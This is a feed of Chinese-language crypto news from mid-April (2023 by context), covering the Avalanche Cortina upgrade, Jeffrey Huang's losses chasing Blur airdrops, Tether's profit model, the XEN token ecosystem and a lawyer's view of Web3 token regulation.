    PANews 4月19日消息，Ava Labs开发者关系工程师Usman Asim发推文称：“提醒所有Avalanche验证者：Cortina AvalancheGo版本 (v1.10.0)现已推出，并将于北京时间4月25日23:00激活。验证者必须在此日期之前更新节点，否则它们将无法处理升级后的新块。”Github信息显示，升级中的更改将于4月25日23:00在主网上生效。 Cortina升级将迁移X-Chain以运行Snowman++共识，这意味着整个网络已经迁移到一个单一的共识引擎。Cortina升级还引入了批处理授权奖励并将C-Chain gas上限提高至1500 gas。 此前消息，Avalanche已于4月6日在Fuji测试网上激活Cortina升级。  ( 1 min )
    浮亏5000ETH，“麻吉大哥”黄立成这次翻车了
    原文：《「麻吉大哥」黄立成没躲过 Blur 空投陷阱》 作者：木沐 「麻吉大哥」黄立成「退出 NFT 圈」的消息，不仅将自己推上了风口浪尖，也再次将 NFT 新秀交易平台 Blur 送上了口水台。 今年 2 月，在 Blur「出价得空投」（Bid for Airdrop）的首季空投激励计划中，NFT 大户黄立成以忠诚度积分榜前列的位置，拿下了 Blur 平台分发给他的大量平台币 BLUR，据悉套现百万美元。 当第二季空投将积分与出价绑定得更深时，「麻吉大哥」二次冲榜，以出价拿积分时成了 NFT 抛售方的「接盘侠」，第二季的 BLUR 空投还没到账，赔本的买卖就此开始了。有数据显示，黄立成在 Blur 上已经浮亏 5000 ETH，时值上千万美元。 大户的亏损也让 NFT 圈将目光锁定了 Blur 平台的激励机制，其以挂单 / 出价与积分挂钩，再用积分与后期空投挂钩的机制，短期内为该平台制造了巨型交易量，一度超越过 NFT 头部交易市场 OpenSea，但这种机制也引来了巨鲸用户在平台上以不同账户「自卖自买」刷积分的现象。 虚假交易正在 Blur 上聚集，「猴子教父」也难免翻车。 以嘻哈歌手出道的歌手黄立成，在华语 NFT 圈有「猴子教父」之称。「猴子」是 NFT 市场头部项目「无聊猿（BAYC）」系列的中文俗称，而「麻吉大哥」黄立成持有大量该系列的 NFT，一直被视作市场大户、圈内「大佬」。 4 月 15 日，大佬突然发推「要退圈」，配图 9 张 BAYC头像。 紧接着，令人迷惑的行为出现了。官宣「退圈」没两天，黄立成又在推特上和社区玩起「Bored Ape Yacht Club」（无聊猿潜艇俱乐部「BAYC」全称）的图片「接龙」游戏，最终将一张 BAYC 图片置顶，似乎表达着对「猴子」的依依不舍。4 月 18 日，「麻吉大哥」身体力行地表达了「不舍」——在 NFT 交易市场 Blur 又购入 2 个 BAYC 和该系列的衍生 NFTBACK（2 枚）和 MAYC（1 枚）。 目前，黄立成置顶 BAYC推文取代「退圈宣言」。 可见，「猴子教父」并没有真的退圈，表达反复大概也和普通人在社交平台上宣泄情绪没啥区别。粉丝好奇的是，「麻吉大哥」为啥突然对 NFT 圈闹起小情绪了。 关联最近的事件是「Blur 空投」。 Blur 是一个面向专业交易者的 NFT 市场，内嵌聚合交易功能，2022 年 10 月上线后开启了平台代币 BLUR 的空投计划——为符合条件的用户们分发代币。这是 NFT 交易平台提升交易量数据、用户粘性和活跃度的惯常手段，而发放的平台代币在上线加密资产二级市场后可以直接套现获利。 2 月 15 日，BLUR 代币正式上线并发放空投，据悉，Blur 首季空投出 3.6 亿 BLUR，造富了一大批早鸟用户。据估计，有 34 个钱包收到了超过50 万 BLUR，另有 23 个钱包的收入超过100 万 BLUR。 「麻吉大哥」黄立成正是其中的高阶玩家。有数据显示，他曾在那次空投中共领取逾 184 万 BLUR，媒体曾跟踪披露，黄立成以 0.71美元的价格将空投所获的 BLUR清仓，按此计算他直接获利约 130 万美元。 收到空投的黄立成还发文对 Blur表达过感谢，并不忘嘲讽 Blur 的竞对、NFT 头部交易平台 OpenSea，「当你们下次交易 NFT 时，别忘了，OpenSea 没给过一个币。」 2 月 22 日，Blur 开始为第二季近 3 亿的 BLUR 空投预热，明说了获得空投的条件主要是考察用户的「忠诚度」，这个指标直接以交易积分体现，而积分则与用户的挂单、竞拍行为高度相关。网络上，一大批教程应运而生，有教程称，运作好了，能带来积分翻番的成绩，这意味获得 BLUR 的数量也随之增加。 Blur 以空投刺激平台的流动性，一些用户为首季的「造富神话」以挂单、竞拍痕迹冲空投，这为另一些 NFT 交易者提供了市场深度和交易机会。 黄立成不知道属于市场中的哪一种，但一直处于积分榜高位的他，明显属于高频挂单、竞拍的用户。从历史数据看，第二批 BLUR 空投还没到手，「麻吉大哥」已经成了 NFT 抛售用户的「接盘侠」。 有地址追踪数据显示，黄立成在 Blur 上接了 71个 BAYC，总价值超过 900 万美元。这还是一个开始，此后，800个 Gitcoin Presents NFT、120 个 Cryptopunks NFT 被收入「麻吉大哥」囊中。 当前通过 Blur 查看地址不难发现，黄立成手上还有大量 NFT，几乎所有的 NFT 都处于挂单状态。近期，市场上各 NFT 的地板价格都在大幅度下跌，黄持有的 NFT 大部分处于亏损状态，仅 Yuga Labs生态系的 NFT 的浮亏就在 1100 ETH。 NFT 市场资深社区 PROOF 的研究总监@punk9059 跟踪「麻吉大哥」的链上地址发现，自 Blur第二季空投以来，黄立成（machibigbrother.eth）已累计亏损 5000 ETH（时值 1000 万美元）。 而 Blur 第二季官空投到位的时间还不断在延期。3 月底，Blur 将第二季空投截止日期由原定的 4 月 1 日延长至 5 月 1日。这恐怕让日日刷积分的用户面临双倍的风险。「延迟通知」一下，黄立成曾在推特上评论「Fuck」，一句脏话已足见不满。 一顿操作下来，「麻吉大哥」陷入越亏越麻的窘境，还被一些用户指责以挂单 / 竞拍「刷分」、以「清洗交易」为 Blur 制造交易量泡沫等等。亏钱还被骂，这也就不难理解黄立成为什么会在推特上愤而「退圈」又似乎心有不甘的情绪反复了。 连「猴子教父」都没躲过 Blur 诱惑，这家 NFT 交易平台最近也因为黄立成的「退圈」事件而再次受到关注。 Blur 的「Bid for Airdrop」（为空投竞价）激励机制，很像加密资产交易平台以前玩剩下的「交易即挖矿」机制，不同的是，Blur 更鼓励用户为 NFT 出价。本质上，这种空投机制都是为了刺激交易市场的流动性，流动性上来了，交易量数据往往会非常好看。 Blur 交易量（橙色部分）一度超越 OpenSea Blur 第一季空投促成「造富神话」，包括「麻吉大哥」、Franklin 在内的不少 NFT 圈的名流都曾加刷分队伍，为该平台带来了交易活跃度，其交易量一度超越了 NFT 市场的「老大哥」OpenSea，也给整个 NFT 市场带来的久违的活力。 但这种活力基本上属于「人为」刺激，说白了就是 Blur 平台的激励性运营方式导致的，活跃度集中地体现在一家平台上，且贡献量仅由一些大户支撑，为本就不大的 NFT 市场充了一波虚假繁荣。 NFT 数据平台 Dune 显示，Blur 50% 的 NFT交易量仅来自不到 300个钱包，而1%的巨鲸交易者占 Blur出价池中锁仓总价值（TVL）的 84%。这意味着，Blur 的交易量由少数巨鲸交易者主导，普通用户的交易积极性并不高。 巨鲸「控盘」，BLUR 空投的分布也将流入巨鲸囊中，但你以为大户们真的会相互交易吗？不然，NFT 数据平台 CryptoSlam 曾在 3 月披露，Blur 市场中至少有 5.77 亿美元的交易量由「清洗交易」制造。 「清洗交易」俗称「自我对敲」，即一个标的的买方和卖方都是自己。CryptoSlam 的工程师Scott Hawkins 指出，一些 Blur 用户在使用不同钱包的向自己出售NFT，目的是为了刷积分、领空投，「由于无需支付版税，没有交易手续费，除了以太坊gas费用外，刷积分没有任何阻碍。」Hawkins 直言，Blur 以虚伪的方式人为地支撑了该平台的交易量。 这种人为刺激下的流动性很有可能随着空投活动的结束而极速萎缩，NFT 研究员@0xPrimatic指出，Blur 为激励流动性付出了数百万美元的成本，「如今的 NFT 的流动性条件非常特殊，不要指望这种情况会永远持续下去。」 这种虚假交易下的繁荣假象已经开始危及市场。 Blur 机制持续期间，蓝筹 NFT 地板价曾出现过连环下跌。当时就有分析人员指出，今年 2 月，「麻吉大哥」黄立成曾在 Blur 上抛售了 1010个 NFT，这发生在他接盘 NFT 后，大概率因意外接盘后有意止损。 大户抛售在市场上形成了恐慌情绪，BAYC的地板价从 75 ETH跌至55.89 ETH，跌幅一度达到 25.5%。虽然后来 BAYC的地板价有所回升，但仍没有突破70 ETH。 玩家们以「扫地板」购买大量NFT获得空投积分，一旦刺激性激励消失，玩家手里的 NFT 就变成了「烫手山芋」。无利可图时，他们开始借助 Blur 的流动性抛售积攒的财产。「麻吉大哥」显然没跑过抛售者。 而更隐蔽的风险在于，如果 NFT 市场暴跌，地板价下跌还会导致「连环爆仓」现象，因为市场上很多 NFT 处于名为 NFT-Fi 的金融市场中，那些质押 NFT 的用户将在连环暴跌中遭遇清算风险。 让「猴子教父」都栽了坑的 Blur 仍不打算停手，在 NFT 交易平台的竞争格局下，该平台的第二季空投计划还在继续。一头巨鲸已经落入陷阱，BLUR 空投带来的泡沫终将被刺破，那根针很可能是 BLUR 的价格。 第二季的 3 亿 BLUR 空投将增加该代币在二级市场上的流通量。已经有加密资产分析师预测，BLUR 价格很可能将在第二季空投正式分发到用户侧后出现下跌。 CoinGecko 显示，BLUR 当前为 0.8 美元，该代币曾在 2 月 15 日刚送出空投时涨至 5 美元，此后快速回落至 1 美元，并长期处于 1 美元以下。  ( 5 min )
    NFT项目Rebase现任联创遭其合伙人起诉，被控涉嫌违约、挪用资金和诽谤等
    PANews 4月19日消息，据Cointelegraph报道，NFT项目Rebase联合创始人Krzysztof Gagacki近日在美国加州地方法院起诉该项目另一位联合创始人Edmond Truong，指控其涉嫌违约、违反信托义务、诽谤和商标侵权等8项罪名。 虽然尚不清楚两人之间的关系何时恶化，但Gagacki指控Truong在2022年10月27日违反了合伙合同，未经他的同意将200万美元挪用到Truong拥有和控制的一个单独的钱包中。Gagacki声称拥有50%的资金份额，并称Truong拒绝向他提供数字钱包的私钥，且Troung通过向第三方展示自己是Rebase的“唯一所有者”和“决策者”，从而将他“驱逐”出公司。 Gagacki进一步声称，Troung表示在事情“失控”后，Gagacki不再“受雇于”公司，Truong还“故意干涉”了Gagacki一直在为该公司进行的几笔潜在交易，此外还就Gagacki向该公司的业务联系人发表了一些诽谤性言论。  ( 1 min )
    币安产品负责人：币安未来将推出盈亏分析工具、交互页面和游戏等产品
    PANews 4月19日消息，币安在近日的博客文章中分享了其产品负责人Mayur Kamat于3月22日概述的币安产品路线图，Kamat称币安最近发布的产品包括用户反馈工具、Binance Build（在推特上通过此标签发布日常改进功能）、zk-SNARKs储备证明（已于2月发布）、Binance Pay更多的使用场景以及纳税申报工具Binance Tax（已在法国推出，未来几个月将在全球范围内推出）。 此外，币安未来将发布的产品包括：1.盈亏分析工具：可让用户跟踪其投资组合。2.改进基于生物识别技术的产品以使多重身份验证更加方便。3.互动页面和游戏：在确保存款页面流程是无缝的同时，用户将可通过扫描二维码保存地址，而不是复制粘贴；将推出更多吸引新用户的功能，并可让用户通过推荐、活动和游戏赚取加密货币。 Kamat强调，推动币安产品团队的决策的五个原则的简单、透明、创新、速度和社区。  ( 1 min )
    资深律师对Web3新经济的近忧和远虑
    近期，香港在拥抱Web3的进程中大动作频频，来自全世界的Web3 Builder们都迫不及待的加入了此次盛会，分享新知表达观点的同时，也与新伙伴相识、与老伙计“奔现”。 飒姐团队在此次盛会中同样收益匪浅，特别是对某个已经拿下香港牌照并布局东南亚的Web3大厂所提出的“Web3新经济”及其价值捕获模型较为感兴趣。今天就与大家一起聊一聊我们对于“Web3新经济”的看法，从法律视角谈一谈在这种新型价值捕获模型下，关于Token的近忧远虑。 一个共识性的基础是，Web3是以区块链为底层技术所创造的一种价值互联网，强调数据可信、数据确权和价值互联。在某Web3大厂提出的新经济理论，建立在“一切价值皆可被代币化”这一核心理念上，认为所有通过代币所标识或绑定的价值，都可以在Web3网络中进行高效、智能化地组合、流转和分配。 而与传统现实中以“所有权”作为价值代表和权利源头促生的“股东资本主义”（以股东利益最大化为目标的价值生产和流转制度）的做法不同，Web3新经济的叙事方式是通过淡化“所有权”价值，转而强调“使用权”价值来实现的。从法律角度来看，由于使用权相比所有权而言是一种“非排他性权利”，不受传统物权理论中“一物一权”“物权法定”等原则限制，拥有可拆分、可共享、可循环授予等特性，因此将使用权进行代币化后以此为价值代表和权利源头所建立的价值创造和流转机制，就是一个开源、开放和无需许可的价值共享网络，能够产生巨大的经济和社会价值。 在该种以“使用权”为价值代表和权利源头的叙事语境下，所诞生的新型价值分配和流转机制是一种“利益相关者资本主义”。根据《Web3 新经济和代币化白皮书》的定义，利益相关者资本主义指的是“根据追求项目参与方共同利益的最大化，组织中所有参与者以利益相关者的身份进行大规模协作，做出自己的贡献，并共享组织价值”。 一个小总结：Web3新经济其实就是一个基于区块链技术，以代币化“使用权”为手段，以“利益相关者资本主义”为价值追求，所创造的一个开源、开放、无需许可的价值共享经济制度。（一家之言，仅供参考） 飒姐团队认为，Web3新经济理念从很多层面上来说都是前沿的、具有参考价值的，其创造性的提出淡化“所有权”转而强调“使用权”，通过所有权可拆分、可转授予等特性建立一种既能扩大Web3 Builder们已经创造的价值，又能在现有基础上创造新价值的经济制度，令人眼前一亮。 从法律的角度来说，大陆法系国家的民法典大多遵循德国历史法学派创造的经典理论“物债二分”进行立法，简单来讲，就是将物权认定为一种“静态财产权”，以调整物的归属和利用过程产生的法律关系，直接发生、变更、消灭物权（如抵押、质押）或准物权的行为（如债权转让合同）称为“处分行为”；将债权认定为“动态财产权”，以调整财产变动中发生的法律关系，而以发生债权债务为其效力的行为，就称为“负担行为”或“债权行为”。 我国《民法典》所采的即为这种经典理论，在此基础上构建了物权制度，但如今随着新兴技术的发展和社会生产力的进步，经典理论已经无法满足调整社会关系的需求。 物权概念和物权制度的建立，有赖于潘德克顿法学的抽象演绎法，但是概括抽象总是无法保证绝对的“准确性”，抽象方法得来的概念和规则,是一个宽泛的范畴，因此，学者普遍对于经典物权理论存在各种批判。例如，物权法定会导致权利划分的不周延性。一般的物权概念是义务作为权利指向的客体,它不能解释针对权利的权利,如在他物权之上设立抵押权。 又例如，权利性质的模糊。除了典型的物权所有权和典型的债权金钱债权外,其他权利的性质其实处于物权与债权的强弱过渡中，更别提目前甚至还出现了NFT这种可以任意转换权力性质的特殊新兴财产。在此情况下，经典物权理论的局限性逐渐凸显。 因此，飒姐团队认为，Web3新经济能以大胆的创想和制度设计，来摆脱传统理论的桎梏是一种大胆且值得夸赞的事。 飒姐赞赏Web3 Builder的创想与努力，但从法律人的风险视角出发，新经济的制度设计上依然存在着一些近忧与远虑。 先说近忧：现有监管制度与Web3代币制度存在兼容性风险。Web3新经济理论认为，基于区块链的数字资产，本质上都是代币化的价值（Tokenized Value），在技术表现形式上都是Token（以下统称“代币”）。因此在围绕 Web3 应用构建的新经济制度中，需要通过两种三类代币来实现价值的产生、流转和分配。 所谓“两种”指的是将代币区分为“同质化”和“非同质化”代币，以同质化代币作为使用权代币化的载体和激励制度的基础，以非同质化代币作为“完全数字化事物的确权、许可和证明”；所谓“三类”则是在前述两种的基础上，将代币细分为：“权益型代币”、“功能型代币”以及“NFT”（两种三类代币又被称为Web3新经济的“三代币模型”）。 创想是美好的，但是飒姐团队认为，该种代币模型与香港现有的虚拟资产监管制度可能存在兼容性风险。这一方面是由于Web3新经济的前瞻性创造与监管措施滞后性的固有矛盾所致，另一方面也与香港的虚拟资产监管思路有关。 香港一直以来对于金融资产采取的都是由证监会“一手抓”的发牌监管模式，但由于虚拟资产的新颖性，证监会并不确定现有的传统金融监管工具是否依然能对虚拟资产生效，因此在拥抱Web3的热闹表象之下，实际坚持的是一种“求稳缓进”的监管思路，对于Web3领域的创新持审慎态度。当前香港证监会已经基于比特币、以太坊等经典“单一代币模型”制度建立了一套总体相适应的监管措施，此时推进革新的“三代币模型”，几乎必然会导致监管的兼容性风险。 这种风险在现实中会外化为监管机构（证监会）对已持牌虚拟资产服务提供商，持续合规能力和成果的质疑、不信任；对于申请持牌的虚拟资产服务提供商，则可能导致拒绝发牌的后果。 还是那句老话，理想是美好的，但现实是残酷的。Web3新经济理论确实为推动Web3的下一步发展提出了前瞻性的设想和一定的制度设计，但是一方面，尚未由足够的实践对该制度的有效性、可靠性进行验证；另一方面，从历史的角度看，但凡制度层面的改革都必须由一个具有足够权威和控制力的“中心”来主导和推动，具体到Web3新经济而言，应当由一个具有足够公信力的头部Web3 builder来推进，但截至目前飒姐团队尚未看到有任何大厂真正下场真刀真枪去做这件事。 另外，飒姐团队长期服务金融科技领域的客户，我们理解、尊重并认同“code is law”作为解决数字世界纠纷的基本准则，但是，虚拟财产固然是存在于计算机网络世界，我们作为一个有血有肉的人依然要生活在这个物质世界中。除非虚拟资产永远不需要在现实世界中“变现”，否则就永远需要一套靠谱的争议解决机制，在现实中调整因虚拟资产而产生的民事、商事纠纷。但遗憾的是，无论是现实中的法律还是虚拟世界中的code，都只能在各自领域发挥作用，双方之间的“间隙”难以通过现有的规制工具予以弥合，因此，过早地推进Web3新经济改革还需慎重考量。 时代的浪潮既能将我们推上风口，也能将我们埋入谷底，对于在金融科技领域冲锋陷阵的勇士们来说，保持一颗清醒的头脑比一时的荣誉更加重要。飒姐团队提示，如今香港与内地在虚拟资产的发展上存在一种“互补”关系，一方面，香港地区则开始拥抱Web3新经济，在合规的前提下推进虚拟资产相关业务的发展。另一方面，内地拥有雄厚的科技创新与金融人才储备与资源优势，有着广阔的市场前景，虚拟资产从业者完全可以依靠这样的互补关系，立足香港，背靠内地，对自身的虚拟资产业务进行战略布局。当然，香港目前的发牌制度对于合规的要求一向严格，企业必须在做好合规建设，并与监管机构充分沟通的基础上再行创新。  ( 2 min )
    Meme正在“做事”，“去0行动”开始？解读三天翻倍的XEN及其生态现状
    原文：《解读三天翻倍的XEN：当meme“在做事”》 作者：Loopy Lu 近来，山寨币中不乏有亮眼价格表现的项目。 比如，XEN Crypto 近一周以来稳步上涨。而与之同步上涨的不仅仅是XEN，其生态项目也迎来普涨。 摘下对其印象面的“meme 滤镜”，稍做研究，我们发现，XEN 早已不是曾经那个单纯的“少年 XEN”了。XEN 不仅持续做事，甚至还“建设”出了一个小生态。 目前，XEN 生态已初具规模，拥有 XEN、XENFT、XEN Torrent、DBXEN、Xenlon 等多款产品。这对于一个 Meme 币来说，着实励志。距离 XEN 发布已过约半年之久，今天，Odaily星球日报为你带来 XEN 及“新”产品的全面解读。 Coingecko数据显示，XEN币价目前为0.0000096，当日涨幅47.3%，三日涨幅翻倍。若回看一周涨势，已稳健涨至三倍。 而同属XEN生态的XLON也表现良好。 Coingecko数据显示，XLON已从本周最低点的0.00000043涨至目前的0.00000073。今日也创造了37%的单日涨幅。 此外，生态项目DBX也录得了5.7%的单日涨幅。 去年10月，XEN一经推出就引爆了加密世界。XEN 引发 Gas War，并导致Gas费用高居不下。短短几日便有百万地址参与了该项目挖矿。（相关阅读：《详解引发以太Gas高涨的XEN Crypto：如何参与，能否参与？》） XEN 支付Gas与合约交互即可参与挖矿。用户需要自定义自己想“挖”的时间，待时间到期后，即可领取XEN代币。 但其产出难度是不断对数递增的，遵循一个固定的公式。去年 Odaily星球日报曾在《谷歌前员工？曾主导归零土狗？解析XEN团队背景疑云》一文进行解读，在此不再赘述。 简单来说，用户参与铸造越早、选择锁仓的时间越长，则产出的 XEN 数量越多。 而在挖出 XEN 之后，用户可进行质押。与挖矿相似，越早进行质押，选定的质押期越长，能够在更长的时间内享受更高的 APY。 XENKnights 是近日上线的新产品。有趣的是，尽管XEN最初部署于以太坊网络，而XENKnights却是一款比特币NFT。 XENKnights包括100枚，使用Ordinals协议铸造。发售采用了常见的公开拍卖模式，出价最高的100个地址可获得这一NFT。其拍卖已与4月17日开启，将在开启72小时后结束，目前仍在拍卖之中。 而其拍卖竞价，则只接受XEN作为付款方式。且拍卖后所有XEN都将被销毁。 实时数据显示，目前叫价最高的出价为14亿XEN，而即便是最低的第100名也出价 101万XEN。按照现价估算，最高价约为1.37万美元，最低价则为10美元。但目前拍卖仍在继续，底价或将继续上涨。 目前，XEN早已推出多链支持，用户可在多达12条链铸造XEN。此外官方还推出了批量铸造工具。 我们惊讶地发现，XEN生态目前已拥有多个项目。但这些项目大多玩法相似，创新缺乏。 不过，从另一个角度来说，亦可称其为生态项目协同性强——生态项目均以“燃烧XEN”为交互核心。 下面 Odaily星球日报将对产品功能和生态项目进行简单盘点。 XENFT是XEN NFT的一个派生产品。该产品通过Proof of Burn协议与XEN连接，其目的是充当交换的媒介。 每个发布的XENFT都具有以下属性： 简单来说，该资产可被视为是批量Mint XEN的凭证。持有这一资产就等于持有未来收获XEN的权利。这一资产也激活了XEN的流动性，增强了资本效率，让铸造者可以将远期的XEN提前变现（或质押赚取收益）。XENFT 遵守 ERC-721 标准，该NFT完全可自由交易。 XEN Torrent协议是XEN官方提供的铸造工具。该协议可自动执行一系列链上交易，通过虚拟铸币单位（VMU，Virtual Minting Unit）的以太坊地址来最大化XEN的铸币量，用户可以通过XEN Torrent智能合约控制。 借助这一工具，用户可方便的实现快速批量铸币，免去了在不同账号间来回切换的烦恼，同时也可节省一笔向多账号转账的gas费。当XEN铸币到期之时，用户可以通过受控的VMU执行批量Claim操作，并批量将XEN转移到用户指定的地址。 XEN Torrent协议不可升级、没有管理密钥、开源且经过审计。确保了用户使用该协议的安全性。 DBXen并不是XEN自身的新功能，而是XEN的生态项目，该项目旨在为XEN通缩做出贡献。该项目于2月中旬上线。 DBXen发行了自己的原生代币DXN，该代币只能通过销毁XEN来铸造。DXN代币会不停被铸造，这一过程长达约62年。在此过程中，只要持有DXN即可获得被动收入。 该代币也采用了公平发行模式，合约无法升级，不设置管理员密钥，无预挖、拨款、私募。 Xenlon Mars 与DBXEN类似，Xenlon Mars也是XEN的生态项目。该项目拥有原生代币XLON。 项目铸造方式也如出一辙的简单粗暴，燃烧DXN即可获得XLON。这要是XEN生态的第三种原生代币。 FENIX是一款最新的XEN生态项目。官方表示该产品旨在奖励那些信奉“加密优先”原则的加密社区成员。 简而言之，其使用方法依然极为简单——燃烧XEN、铸造FENIX。 但稍有不同的是，在后续的奖励发放环节，FENIX更鼓励长期持有FENIX的用户。用户在持有FENIX之后，可质押获得更高额的奖励。而奖励规则与XEN的时间挖矿玩法类似，用户可自行设置锁仓时间，锁仓越久，则奖励越丰厚。 该项目目前尚未上线，但计划在未来数日内上线。 以前，当我们提起“项目方在做事”，更多只是一种调侃。但如今，一款Meme币竟然真的做了很多事。 在最近的加密市场中，XEN 并非“Meme做事”的孤例。meme币“龙头”，DOGE 就曾衍生出一条以DOGE命名的EVM L1链DogeChain。而柴犬币SHIB的Buidl 更为彻底，甚至宣布将开发Layer2网络Shibarium。由SHIB官方宣布，并不存在“李鬼”的隐忧，且更能获得SHIB社区的赋能。 在加密世界缺乏大的技术突破时，即便 Meme 们“转型做事”，我们抱以更宽容鼓励的态度。 只不过，加密市场始终是一个复杂多变的市场，项目的外部变化与内在的基本面是否连接紧密，很难判断。Odaily星球日报还请广大投资者注意风险，谨慎参与。 附： XEN 官网：https://xen.network/ 生态数据看板：https://xen.pub/ DBXen：https://dbxen.org/ Xenlon Mars：https://www.xenlonmars.com/ FENIX：https://fenix.fyi/  ( 3 min )
    季入7亿美金，一文揭秘Tether的稳定币生意经
    作者 | Terry 出品｜白话区块链（ID：hellobtc） 作为稳定币市场的的龙头老大，USDT 一直以来都饱受质疑，但却在一轮轮 FUD 危机中稳居第一。 而上个月，USDT 发行商 Tether 首席技术官 Paolo Ardoino 则透露，Tether 在 2023 年第一季度将实现 7 亿美元的利润，并使得其超额储备（储备资金超出发行的 USDT 数额的部分）达到 16.6 亿美元。 如此惊人的盈利能力，不仅在加密世界是数一数二，放在传统金融的上市公司里也属拔尖，我们以同期 A 股上市公司的盈利状况为例： 2023 年一季度已披露业绩的 A 股公司中，排名第一的是万华化学，净利润约 40.53 亿元，第二名广汇能源则以 30.07 亿元排名第二，而中国联通以 22.66 亿元排名第三。 按照 4 亿美元（约合 28 亿元），Tether 今年一季度的盈利已经超过中国联通，可以在 A 股盈利榜中排名第三，且距第二咫尺之遥。 根据 CoinGecko 数据，自 3 月 10 日美国监管机构关闭硅谷银行以来，USDC 净流出量已超过 120 亿美元，总流通量降至 320 亿美元左右，下降幅度约 30%，而将 USDC 作为主要储备的 DAI、FRAX 也都因受牵连而市场份额下滑明显。 BUSD 则受制于监管压力不断销毁，流通量持续下降，过去 30 天减少近 20 亿美元，是所有稳定币中销毁最多的；而旨在接棒 BUSD 的 TUSD 体量则只有 20 亿美元，仍属于小玩家。 各稳定币的流通量变化趋势，来源：CoinGecko 与此同时，USDT 市值增加约 110 亿美元，达 810 亿美元，市值占比重新过半，达到全网稳定币总市值的 61%，可以说 USDT 的市场份额优势在今年一季度后的市场风波后反而在持续扩大，稳定币第一的宝座愈发稳固。 那作为 USDT 发行商，Tether 究竟可以通过什么形式赚钱，达到如此高的利润？ 首先我们需要明确一下，那就是 Tether 发行 USDT 除了固定的开发、技术保障等支出外，边际成本近乎为零——发 100 亿美元和 800 亿美元的成本相差不多，这也就是说其自身运营支出项的变化相对可以忽略不计。 至于 Tether 的 USDT 发行手续费、服务费收入等基础收入则有两部分： -服务费：不是所有用户都可以直接找 Tether 进行 USDT 和美元的来回兑换操作，如果机构或者个人用户需要在 Tether 官网出入金，需要注册，而每个账号的验证需要收取 150 美金的固定费用； -手续费：验证成功后就可以存入法币，在官网每次最低存款为 10 万美元，并且用户在拿手里的 USDT 去找 Tether 进行换回美元操作时，每次都需要收取 0.1 %的手续费； 但由于本身大家直接找 Tether 换回美元的需求并不高，所以这部分基础收入也几乎可以忽略不记。那 Tether 的大头收入究竟是怎么赚取的？ 零成本下的可观利息收入 而具体到盈利项，Tether 的「正规」盈利方式中，主要收入板块和传统银行的业务类似，通过存贷款业务的利率差来赚取稳定收益： Tether 发行 USDT，并向市场分发让 USDT 进入流通的这个过程，本质上就是加密用户拿美元去「购买」USDT 的过程——Tether 发行 100 亿美元的 USDT，就意味着加密用户向 Tether 存入了 100 亿美元，来获得这 100 亿美元的 USDT。 而 Tether 在拿到这 100 亿美元后，是不需要向对应的用户支付利息的，也就是说 Tether 可以通过发行 USDT，以零成本的形式从加密用户手中获得实打实的美元资金。 所以 Tether 发行的 USDT 越多，则意味着手中的流动资金越多。所以现在 800 亿 USDT 的规模，意味着 Tether 手里有 800 亿美元零成本获得的流动资金。就像任何一家银行一样，如果「存款利率」利率为零，那贷款业务的收入就是纯收入，无疑极为可观。 当然现在经过多年的 FUD 以及质疑，USDT 储备金的透明度已经很高，不太可能完全像银行一样通过不完全储备来进行贷款或投资业务盈利： 根据 Tether 披露，2022 年其将商业票据风险降至零，现在有超过 81% 的现金和现金等价物支持，包括超过 390 亿美元的美国国债直接敞口、货币市场基金、逆回购协议以及现金和银行存款组成。 得益于 800 亿美元的庞大基数，即便 Tether 将储备全部分配为现金活期存款或投资于国债，目前 4% 左右的利率也意味着每年躺赚 32 亿美元左右（差不多一季度 7 亿美元左右，要知道年初 USDT 的规模不到 700 亿美元），这是真正的零风险稳赚收益。 间歇式 FUD 的「意外之财」 此外，Tether 还有一项「非正规」盈利方式，主要得感谢作为 Tether 和 USDT 「老朋友」的彭博社等媒体： 彭博社多年来一直锲而不舍地帮助 USDT 提高储备金透明度——隔三岔五发文质疑 Tether，甚至通过引入监管压力引发 FUD 浪潮。 在这种间歇性的 FUD 之中，几乎每一次都会导致 USDT 的脱锚，Tether 也会在脱锚比较严重的时候宣布直接销毁，譬如 2018 年 10 月的 FUD 中，USDT 在 0.98美元附近徘徊，始终难以恢复锚定。 Tether 就在 10 天内减少了 5 亿枚的 USDT 流通量，而具体操作无疑就是拿储备金在市场上买回 USDT，这样盈利空间就来了： Tether 最初发行 USDT 的时候，5 亿枚 USDT 换回了 5 亿美元，但现在却可以仅凭 4.95 亿美元就回购 5 亿枚 USDT（按平均回购成本 0.99 美元），一来一回净赚 500 万美元。 此外，加密市场自身的黑天鹅事件也能起到类似的效果，像去年 5 月份的 Terra/Luna 危机中，稳定币 FUD 恐慌一度蔓延到 Tether： 最初 USDT 从 0.999 美元左右跌至 0.997 美元，随后甚至急剧下跌至 0.95 美元，而 Tether 在此期间进行回购，既能提振市场信心，帮助 USDT 恢复挂钩，同时也能够吃到差价，一举两得。 所以说，Tether 这个做稳定币生意的中间商，还可以通过不稳定的稳定币来赚钱。 而对普通加密用户来说，每一次 FUD 时折价抛出的 USDT 筹码，都可能为 Tether 定期贡献了一笔笔意外之财。 可以说，Tether 目前几乎是除交易平台之外最赚钱的加密公司（CEX恐怕也只有Binance可以稳压一头），而对于普遍还属于「亏损」经营、卖Token补贴的 Web3 项目和加密公司们来说，更是可望而不可即的存在，这也是为什么稳定币的生意这么招人喜欢的主要原因之一。  ( 4 min )
    Arbitrum生态AMM协议Chronos发布代币分配与空投细则
    PANews 4月19日消息，据官方博客，Arbitrum生态AMM协议Chronos发布代币分配与空投细则，计划包括超16000名参与者，并分发53%的初始供应量。 据悉，CHR的初始供应量为50,000,000枚，最初供应量的9%将分配给chrNFT持有者、25%分配给合作伙伴协议、21%对veCHR用户进行空投。此外，在启动时，预计将有245万枚流动性CHR代币的初始流通供应。  ( 1 min )
    Sui基金会：代币表彰销售已推迟，请警惕虚假邮件
    PANews 4月19日消息，据官方公告，Sui基金会表示，由于在评估数据收集项目时出现延后，代币表彰销售已推迟，目前已经通知交易平台调整相应销售时间。 此外，Sui基金会提醒称，过去24小时内，基金会没有向任何社区成员发送收集验证信息的邮件，请保持警惕。  ( 1 min )
    网络数据对比：Arbitrum发币，Optimism落败？
